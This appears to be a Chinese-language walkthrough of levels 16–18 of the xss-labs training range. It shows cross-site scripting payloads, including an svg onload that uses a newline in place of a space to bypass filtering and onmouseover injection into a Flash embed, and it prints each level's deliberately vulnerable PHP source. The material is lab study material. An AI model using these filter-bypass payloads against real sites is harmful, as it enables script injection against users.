【xss-labs】闯关记录16~18
【level-16】%0a绕过空格
1、测试流程
扔一个payload:<script>alert(888)</script>
试试:
结果发现关键字script和/都被替换为
于是换一个payload:<img src=1 onerror=alert(666)>
发现空格也被转义了。。。
用换行符%0a来代替空格:
payload:<svg%0aonload=alert(000)>
2、源码分析
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
服务端先将用户传入的参数进行小写转换,然后对script、/、空格进行了非空替换,但是空格可以通过换行符来代替,所以顺利绕过。
【level17】flash
1、测试流程
一进来就是这样
我人傻了。两个参数??
查看网页源代码,找到了a,b的位置:
于是构造payload:
level17.php?arg01=rinima%20onload&arg02=alert(/xss/)
但是flash早就被禁用了,读不出来,所以就复现不了,但收获还是不少的。
但是不行不行,我不甘心,转到chrome,安装了flash2021
但是onlick和onfocus好像不行
换了一个payload:
level17.php?arg01=%20onmouseover&arg02=alert(/xss/)
复现成功!
2、源码分析
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<embed>
标签定义了一个容器,用来嵌入外部应用或者互动程序(插件)。可以嵌入图片、HTML页面、视频等等。
属性 值 描述 height pixels 规定嵌入内容的高度。 src URL 规定被嵌入内容的 URL。 type MIME_type 规定嵌入内容的 MIME 类型。 注:MIME = Multipurpose Internet Mail Extensions。 width pixels 规定嵌入内容的宽度。 注意:现在已经不建议使用
<embed>
标签了,可以使用<img>
、<iframe>
、<video>
、<audio>
等标签代替。
上面代码中应该嵌入的是一个swf文件,swf是Flash的专用格式,被广泛应用于网页设计、动画制作等领域,swf文件通常也被称为Flash文件。
【level18】flash
1、测试流程
直接上一关payload:
level18.php?arg01=%20onmouseover&arg02=alert(/xss/)
2、源码分析
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
代码跟上一关没有一点区别。
level19-20略,flash的xss还是没搞懂,后期再更新。